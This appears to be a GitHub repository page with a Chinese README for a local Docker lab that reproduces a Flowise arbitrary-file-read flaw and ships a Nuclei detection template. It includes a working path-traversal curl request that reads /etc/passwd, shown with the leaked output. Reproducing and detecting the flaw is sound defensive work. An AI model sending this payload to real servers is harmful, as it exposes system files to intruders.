junn34/POC_CVE-2024-10829

GitHub: junn34/POC_CVE-2024-10829

该项目提供了 Flowise CVE-2024-36420 任意文件读取漏洞的本地复现环境和 Nuclei 检测模板,用于验证漏洞行为并对比修复版本。

Stars: 0 | Forks: 0

# POC_CVE-2024-36420 针对影响 Flowise 的 `CVE-2024-36420` 的本地复现实验室和 nuclei 模板草案。 ## 概述 `CVE-2024-36420` 是 Flowise 中存在的一个任意文件读取漏洞,由以下接口中未经过滤地使用 `fileName` body 参数引起: - `POST /api/v1/openai-assistants-file` 本实验室用于验证以下内容: - `flowiseai/flowise:1.4.3` 上的漏洞行为 - 较新的 `flowiseai/flowise:3.1.2` 上的拒绝访问行为 ## 参考 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-36420 - GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/ ## 文件 - `docker-compose.yml` - `docker-compose.latest.yml` - `CVE-2024-36420.yaml` ## 漏洞测试 启动 Flowise `1.4.3`: ``` docker compose down -v docker compose up -d docker compose logs --tail=100 flowise ``` 手动验证: ``` curl -i \ -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \ -H 'Content-Type: application/json' \ -d '{"fileName":"../../../../etc/passwd"}' ``` 观察到的漏洞响应: ``` HTTP/1.1 200 OK Content-Disposition: attachment; filename=passwd ... root:x:0:0:root:/root:/bin/ash daemon:x:2:2:daemon:/sbin:/sbin/nologin ... ``` ## 新版本对照 启动较新的 Flowise `3.1.2`: ``` docker compose -f docker-compose.latest.yml down -v docker compose -f docker-compose.latest.yml up -d docker compose -f docker-compose.latest.yml logs --tail=100 flowise ``` 手动验证: ``` curl -i \ -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \ -H 'Content-Type: application/json' \ -d '{"fileName":"../../../../etc/passwd"}' ``` 观察到的新版本响应: ``` HTTP/1.1 401 Unauthorized {"error":"Unauthorized Access"} ``` ## Nuclei 验证模板: ``` nuclei -duc -validate -t CVE-2024-36420.yaml ``` 针对漏洞目标运行: ``` nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml ``` 预期行为: - `1.4.3`:匹配 - `3.1.2`:不匹配 ## 注意事项 - 这种版本差距是可以接受的,因为本仓库仅声明观察到的行为: - `1.4.3` 上存在漏洞 - `3.1.2` 上已拒绝访问 - 并未声明确切的补丁版本边界。 - 未使用任何真实世界目标。
标签:Docker, Google, Maven, Nuclei, 安全防御评估, 漏洞复现环境, 漏洞验证, 版权保护, 请求拦截, 路径穿越